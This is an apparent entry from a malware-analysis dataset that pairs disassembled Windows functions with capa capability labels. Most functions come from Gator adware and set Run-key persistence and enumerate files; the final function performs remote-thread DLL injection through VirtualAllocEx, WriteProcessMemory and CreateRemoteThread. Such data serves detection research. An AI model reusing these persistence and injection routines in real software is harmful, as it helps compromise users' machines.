joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4193e0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.004199a0
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
mov ecx, 0x11
xor eax, eax
mov edi, esi
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp]
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x419413
push ebp
push edi
call fcn.004194d0
add esp, 8
cmp dword [ebp], 0
je 0x4194b9
push 0x44
push esi
push edi
call fcn.0041c9ca
add esp, 0xc
cmp eax, 0x44
jne 0x41949d
mov eax, dword [esi]
mov ecx, dword [0x42dc44]
cmp eax, ecx
jne 0x419488
mov eax, dword [esi + 0x34]
mov ebx, 1
test eax, eax
je 0x419471
mov ecx, dword [esi + 0x38]
push 0
add ecx, eax
push ecx
push edi
call fcn.004219e9
add esp, 0xc
cmp eax, 0xffffffff
jne 0x419471
call fcn.0041d298
mov edx, dword [eax]
push edx
push str.ReadComponent:_no_seek_past_component
call fcn.00419980
add esp, 8
push 1
push 0
push edi
call fcn.004219e9
add esp, 0xc
mov dword [ebp], eax
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push eax
push str.ReadComponent:_magic_header_unknown
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
call fcn.0041d298
mov eax, dword [eax]
push eax
push str.ReadComponent:_no_read
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push 0xffffffffffffffff
push str.ReadComponent:_no_read_position
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x419710
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
push edi
xor ebp, ebp
call fcn.004199a0
mov ebx, dword [esp + 0x64]
mov eax, dword [esp + 0x68]
mov esi, dword [esp + 0x58]
mov dword [ebx], ebp
mov dword [eax], ebp
test esi, esi
jl 0x419838
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x419838
cmp byte [eax], 0
je 0x419838
mov ecx, dword [esp + 0x60]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push esi
call fcn.00419540
add esp, 0x10
test eax, eax
je 0x419847
mov eax, dword [esp + 0x44]
test eax, eax
je 0x419847
push eax
call fcn.0041b345
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebx], edi
je 0x41981a
mov ecx, dword [esp + 0x44]
xor eax, eax
mov edx, ecx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x4c]
push eax
push esi
call fcn.004219e9
add esp, 0xc
cmp eax, 0xffffffff
je 0x4197fb
mov ecx, dword [esp + 0x44]
mov edx, dword [ebx]
push ecx
push edx
push esi
call fcn.0041c9ca
mov ecx, dword [esp + 0x50]
add esp, 0xc
cmp ecx, eax
jne 0x4197dc
mov eax, dword [esp + 0x68]
pop edi
pop esi
pop ebp
mov dword [eax], ecx
mov eax, 1
pop ebx
add esp, 0x44
ret
call fcn.0041d298
mov ecx, dword [eax]
push ecx
push str.GExeBind_GetData:_no_read_data
call fcn.00419980
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
call fcn.0041d298
mov edx, dword [eax]
push edx
push str.GExeBind_GetData:_no_seek_data
call fcn.00419980
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.GExeBind_GetData:_no_alloc
call fcn.00419980
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
push 0xffffffffffffffff
push str.GExeBind_GetData:_target_and_or_tag_empty
call fcn.00419980
add esp, 8
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x41a030
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x310
push ebp
push esi
push edi
mov edi, dword [esp + 0x320]
xor esi, esi
mov eax, str.Gator
test edi, edi
mov dword [esp + 0x14], esi
jne 0x41a054
mov eax, str.Offers
push eax
push str.FixSwwApp__s_:
call fcn.0041aa10
add esp, 8
mov ebp, str.Gator
test edi, edi
jne 0x41a070
mov ebp, str.Offers
lea eax, [esp + 0xc]
push 0
push eax
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.DLL_bind
mov dword [esp + 0x20], 0
call fcn.0040adb0
mov eax, dword [esp + 0x20]
add esp, 0x14
test eax, eax
je 0x41a26b
push eax
push str.Setting__s__
call fcn.0041aa10
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0040ca00
add esp, 0xc
test eax, eax
jne 0x41a252
push str.File_does_NOT_exist_
call fcn.0041aa10
lea edx, [esp + 0x14]
push 0
push edx
push str.ProgramFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push reloc.WSOCK32.DLL_bind
mov dword [esp + 0x28], 0
call fcn.0040adb0
mov eax, dword [esp + 0x28]
add esp, 0x18
test eax, eax
je 0x41a239
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
call fcn.0040ce70
add esp, 8
mov eax, str.Gator.comGator
test edi, edi
jne 0x41a126
mov eax, str.Gator.comOfferCompanion
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x18]
push eax
push edx
call esi
lea eax, [esp + 0x18]
push 0x104
push eax
call fcn.0040ce70
add esp, 8
mov eax, str.Gator
test edi, edi
jne 0x41a154
mov eax, str.Offers
lea ecx, [esp + 0x18]
push eax
push ecx
call esi
lea edx, [esp + 0x18]
push str..exe
push edx
call esi
mov eax, dword [esp + 0xc]
push eax
call fcn.0040c920
mov esi, eax
add esp, 4
test esi, esi
jne 0x41a180
mov eax, 0x42fa7c
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.0041bfb0
add esp, 8
test eax, eax
je 0x41a20b
lea edx, [esp + 0x18]
push edx
push str.Correct_path_is___s__
call fcn.0041aa10
lea eax, [esp + 0x20]
push eax
call fcn.0040ca00
add esp, 0xc
test eax, eax
je 0x41a204
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x11d]
mov byte [esp + 0x11c], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x11c]
push 0x200
stosw word es:[edi], ax
push ecx
lea edx, [esp + 0x20]
push 0
push edx
push ebp
stosb byte es:[edi], al
call fcn.00423cc0
add esp, 0x14
test eax, eax
je 0x41a1fd
mov dword [esp + 0x14], 1
push str.Path_FIXED.
jmp 0x41a210
push str.RegistryWriteString___FAILED.
jmp 0x41a210
push str.Correct_exe_not_found.
jmp 0x41a210
push str.VALID__path_is_correct_.
call fcn.0041aac0
add esp, 4
push esi
call fcn.0041b272
mov eax, dword [esp + 0x14]
push eax
call fcn.0041b272
mov eax, dword [esp + 0x1c]
add esp, 8
pop edi
pop esi
pop ebp
add esp, 0x310
ret
push str.Couldnt_locate_PROGFILES_dir.
call fcn.0041aac0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x310
ret
push str.VALID__file_exists_.
call fcn.0041aac0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x310
ret
push str.SWW_setting_not_present.
call fcn.0041aac0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x310
ret
Function at 0x41a680
Capabilities:
Get file version info

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
xor edi, edi
test ebx, ebx
mov dword [esp + 0x10], edi
je 0x41a775
cmp byte [ebx], 0
je 0x41a775
lea eax, [esp + 0x20]
push eax
push ebx
call sub.VERSION.DLL_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x41a775
push esi
push 0x42
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x41a775
push ebp
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov edi, eax
test edi, edi
je 0x41a762
mov ecx, dword [esp + 0x20]
push edi
push esi
push ecx
push ebx
call sub.VERSION.DLL_GetFileVersionInfoA
test eax, eax
je 0x41a75b
lea edx, [esp + 0x18]
lea eax, [esp + 0x14]
push edx
push eax
push 0x42b380
push edi
call sub.VERSION.DLL_VerQueryValueA
test eax, eax
je 0x41a75b
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
mov edx, dword [ecx + 8]
shr edx, 0x10
mov byte [eax + 0x20], dl
mov dl, byte [ecx + 8]
mov byte [eax + 0x21], dl
mov edx, dword [ecx + 0xc]
shr edx, 0x10
mov byte [eax + 0x22], dl
mov cx, word [ecx + 0xc]
mov byte [eax + 0x23], cl
and ecx, 0xff
push ecx
xor ecx, ecx
mov cl, dl
xor edx, edx
mov dl, byte [eax + 0x21]
push ecx
xor ecx, ecx
push edx
mov cl, byte [eax + 0x20]
push ecx
push str._d._d._d._d
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x18
mov dword [esp + 0x10], 1
push ebp
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push ebp
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x41aca0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x84
push ebx
push ebp
push esi
push edi
push str._tUpdating_directories...
call fcn.0041aac0
mov eax, str.Gator.com
add esp, 4
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov ecx, 1
mov eax, str.softwareGator.comGator_statGMTSettings
xor ebx, ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], str.SoftwareMicrosoftWindowsCurrentVersion
mov dword [esp + 0x20], str.ProgramFilesDir
mov byte [esp + 0x2c], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], str.WorkingDir
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], 0x42a2e8
mov byte [esp + 0x40], bl
mov dword [esp + 0x44], str.softwareGator.comCMEII
mov dword [esp + 0x48], str.appPath
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], 0x42b4cc
mov byte [esp + 0x54], cl
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], str.GatorExe
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], str.Gator
mov byte [esp + 0x68], bl
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], str.OCExe
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], 0x42e6c8
mov byte [esp + 0x7c], bl
mov dword [esp + 0x80], str.softwareGator.comDate_Manager
mov dword [esp + 0x84], str.AppPath
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], 0x42e6a4
mov byte [esp + 0x90], bl
lea esi, [esp + 0x24]
mov dword [esp + 0x14], 6
mov eax, dword [esi + 4]
push eax
push str._t_t_s:
call fcn.0041aa10
mov edi, dword [esi - 4]
mov ebp, dword [esi - 8]
lea ecx, [esp + 0x18]
push ebx
push ecx
push edi
push ebp
push reloc.WSOCK32.DLL_bind
mov dword [esp + 0x2c], ebx
call fcn.0040adb0
mov eax, dword [esp + 0x2c]
add esp, 0x1c
cmp eax, ebx
je 0x41aeaa
mov edi, dword [esi]
cmp edi, ebx
je 0x41ae25
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
call ebx
mov edx, dword [esp + 0x10]
mov ebp, eax
push edx
call ebx
lea ebp, [eax + ebp + 0xa]
push ebp
call fcn.0041b345
mov ebx, eax
mov eax, dword [esp + 0x14]
push edi
push eax
push ebp
push ebx
call fcn.0040cf70
add esp, 0x14
test eax, eax
je 0x41ae1c
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0041b272
add esp, 4
mov dword [esp + 0x10], ebx
jmp 0x41ae23
mov edx, dword [esp + 0x10]
mov byte [edx], 0
xor ebx, ebx
mov eax, dword [esp + 0x10]
push eax
call fcn.0040ca00
add esp, 4
test eax, eax
je 0x41ae43
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0040cf00
add esp, 4
mov edx, dword [esp + 0x10]
push edx
push str.dir_is___s_...
call fcn.0041aa10
mov eax, dword [esp + 0x18]
push eax
call fcn.0040c9d0
add esp, 0xc
test eax, eax
je 0x41ae8e
mov cl, byte [esi + 8]
mov edx, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x9c]
push edx
call fcn.0040ec20
test eax, eax
je 0x41ae83
push 0x429578
jmp 0x41ae93
mov dword [esp + 0x18], ebx
push str.FAILED
jmp 0x41ae93
push str.doesnt_exist__OK_.
call fcn.0041aac0
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call fcn.0041b272
add esp, 4
jmp 0x41aeb9
push edi
push ebp
push str.Didnt_find__HKLM_s_____s___OK_
call fcn.0041aac0
add esp, 0xc
mov eax, dword [esp + 0x14]
add esi, 0x14
dec eax
mov dword [esp + 0x14], eax
jne 0x41ad98
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x84
ret
Function at 0x41fd09
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42ef78
cmp edx, dword [eax]
je 0x41fd2b
add eax, 8
inc ecx
cmp eax, 0x42f008
jl 0x41fd1c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42ef78]
jne 0x41fe59
mov eax, dword [0x434350]
cmp eax, 1
je 0x41fe33
test eax, eax
jne 0x41fd5c
cmp dword [0x42e8a4], 1
je 0x41fe33
cmp edx, 0xfc
je 0x41fe59
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x41fd93
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00422cf0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00420d10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x41fdd6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00420d10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x426880
push edi
call fcn.0041c3a0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00422cf0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00422d00
lea eax, [ebp - 0xa0]
push 0x426860
push eax
call fcn.00422d00
push dword [esi + 0x42ef7c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00422d00
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00422fba
add esp, 0x2c
pop edi
jmp 0x41fe59
lea eax, [ebp + 8]
lea esi, [esi + 0x42ef7c]
push 0
push eax
push dword [esi]
call fcn.00420d10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret
Function at 0x423cc0
Capabilities:
Persist via run registry key

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x20]
push esi
push edi
mov edi, dword [esp + 0x24]
push 0x42fa7c
xor esi, esi
push ebp
push edi
mov dword [esp + 0x1c], esi
call fcn.00423e30
mov eax, dword [esp + 0x24]
add esp, 0xc
test eax, eax
je 0x423e14
cmp byte [eax], 0
je 0x423e14
mov ebx, dword [esp + 0x1c]
test ebx, ebx
je 0x423e14
push ebx
call fcn.0040ca00
add esp, 4
test eax, eax
je 0x423dfc
mov edi, dword [esp + 0x20]
test edi, edi
je 0x423d25
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [eax + esi + 0xa]
push eax
call fcn.0041b345
mov esi, eax
add esp, 4
test esi, esi
je 0x423ddf
push ebx
push 0x42b2c8
push esi
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
test edi, edi
je 0x423d6f
mov al, byte [edi]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
cmp al, 0x20
je 0x423d6b
push 0x429c84
push esi
call ebx
push edi
push esi
call ebx
mov edi, dword [esp + 0x18]
push esi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.DLL_bind
call fcn.0040b170
add esp, 0x10
test eax, eax
je 0x423db5
mov ecx, dword [esp + 0x24]
push esi
push edi
push 1
push 1
push ebp
push ecx
call fcn.00423e80
add esp, 0x18
mov edi, 1
push esi
call fcn.0041b272
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov edx, dword [esp + 0x24]
push 0
push edi
push 1
push 0
push ebp
push edx
call fcn.00423e80
mov edi, dword [esp + 0x28]
add esp, 0x18
push esi
call fcn.0041b272
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x24]
push str.Failed_to_alloc_path_buf
push ebp
push eax
call fcn.00423e30
mov eax, dword [esp + 0x1c]
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push ebx
push str.Cant_find___s_
push ebp
push edi
call fcn.00423e30
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push str.Invalid_arg_s_
push ebp
push edi
call fcn.00423e30
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x424040
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x350
push ebx
push ebp
push esi
mov esi, dword [esp + 0x360]
push edi
xor edi, edi
mov dword [esp + 0x14], ecx
push esi
mov dword [esp + 0x14], edi
call fcn.0040c9d0
add esp, 4
test eax, eax
je 0x42420e
mov ebx, dword [esp + 0x368]
test ebx, ebx
je 0x42420e
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [esp + 0x18]
push esi
push eax
call edi
lea ecx, [esp + 0x18]
push 0x104
push ecx
call fcn.0040ce70
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrcatA]
add esp, 8
lea edx, [esp + 0x18]
push ebx
push edx
call ebp
lea eax, [esp + 0x220]
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x424137
call fcn.004246e0
lea edx, [esp + 0x11c]
push esi
push edx
call edi
lea eax, [esp + 0x11c]
push 0x104
push eax
call fcn.0040ce70
add esp, 8
lea ecx, [esp + 0x24c]
lea edx, [esp + 0x11c]
push ecx
push edx
call ebp
test byte [esp + 0x220], 0x10
jne 0x42411d
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x11c]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test eax, eax
jl 0x42411d
inc dword [esp + 0x10]
lea eax, [esp + 0x220]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x4240c3
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea ecx, [esp + 0x18]
push esi
push ecx
call edi
lea edx, [esp + 0x18]
push 0x104
push edx
call fcn.0040ce70
add esp, 8
lea eax, [esp + 0x18]
push 0x42b1bc
push eax
call ebp
lea ecx, [esp + 0x220]
lea edx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4241fd
call fcn.004246e0
test byte [esp + 0x220], 0x10
je 0x4241e3
cmp byte [esp + 0x24c], 0x2e
je 0x4241e3
lea eax, [esp + 0x11c]
push esi
push eax
call edi
lea ecx, [esp + 0x11c]
push 0x104
push ecx
call fcn.0040ce70
add esp, 8
lea edx, [esp + 0x24c]
lea eax, [esp + 0x11c]
push edx
push eax
call ebp
mov ecx, dword [esp + 0x368]
lea edx, [esp + 0x11c]
push ecx
mov ecx, dword [esp + 0x18]
push edx
call fcn.00424040
add dword [esp + 0x10], eax
lea eax, [esp + 0x220]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x42417b
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x350
ret 8
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x350
ret 8
Function at 0x424760
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x408
lea eax, [esp + 4]
push 0
push eax
push str.Cache
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push closesocket
mov dword [esp + 0x18], 0
call fcn.0040adb0
mov eax, dword [esp + 0x18]
add esp, 0x14
test eax, eax
je 0x4247b2
push 0x104
push eax
push 0x43482c
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
mov ecx, dword [esp + 4]
push ecx
call fcn.0041b272
add esp, 4
mov al, byte [0x434728]
test al, al
jne 0x42485f
lea edx, [esp]
push 0
push edx
push str.ActiveXCache
push str.softwaremicrosoftwindowscurrentversioninternet_settings
push reloc.WSOCK32.DLL_bind
mov dword [esp + 0x14], 0
call fcn.0040adb0
add esp, 0x14
test eax, eax
je 0x424852
mov eax, dword [esp]
test eax, eax
je 0x42485f
push eax
lea eax, [esp + 0xc]
push str.found___s_
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
lea ecx, [esp + 0x14]
push ecx
call fcn.00425280
mov edx, dword [esp + 0x10]
push edx
call fcn.0040c9d0
add esp, 0x14
test eax, eax
je 0x424839
mov eax, dword [esp]
push eax
push 0x434728
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [esp]
push ecx
call fcn.0041b272
jmp 0x42485c
push str.ERROR:_Dir_doesnt_exist.
call fcn.00425280
mov ecx, dword [esp + 4]
add esp, 4
push ecx
call fcn.0041b272
jmp 0x42485c
push str.ERROR:_Unable_to_retrieve_dir.
call fcn.00425280
add esp, 4
mov cl, byte [0x434728]
xor eax, eax
test cl, cl
setne al
add esp, 0x408
ret
Function at 0x10001320
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], ecx
cmp dword [ebp + 0x10], 0
je 0x10001337
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jne 0x1000133e
xor al, al
jmp 0x100013c2
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov cl, byte [eax]
mov byte [ebp - 1], cl
add dword [ebp - 8], 1
cmp byte [ebp - 1], 0
jne 0x1000134d
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
jne 0x1000136e
xor al, al
jmp 0x100013c2
lea eax, [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp - 0xc]
call fcn.100013d0
movzx eax, al
test eax, eax
jne 0x1000138d
xor al, al
jmp 0x100013c2
lea ecx, [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100013b8
mov dword [ebp - 0x10], 1
jmp 0x100013bf
mov dword [ebp - 0x10], 0
mov al, byte [ebp - 0x10]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10001e60
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x10001e9d
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], 0
jne 0x10001e88
mov dword [ebp - 0x14], 1
jmp 0x10001e8f
mov dword [ebp - 0x14], 0
mov cl, byte [ebp - 0x14]
mov byte [ebp - 9], cl
movzx edx, byte [ebp - 9]
test edx, edx
je 0x10001ea4
xor al, al
jmp 0x10001f6f
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x18], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10001edd
xor al, al
jmp 0x10001f6f
push 0
mov edx, dword [ebp - 0x18]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.10002650
push eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x10001f07
xor al, al
jmp 0x10001f6f
mov dword [ebp - 8], 0
push 0x10006524
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10001f51
xor al, al
jmp 0x10001f6f
cmp dword [ebp + 8], 0
je 0x10001f6d
cmp dword [ebp - 0x10], 0
je 0x10001f6d
cmp dword [ebp - 0x1c], 6
je 0x10001f6d
cmp dword [ebp - 0x20], 0
je 0x10001f6d
mov al, 1
jmp 0x10001f6f
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004481
mov esp, ebp
pop ebp
ret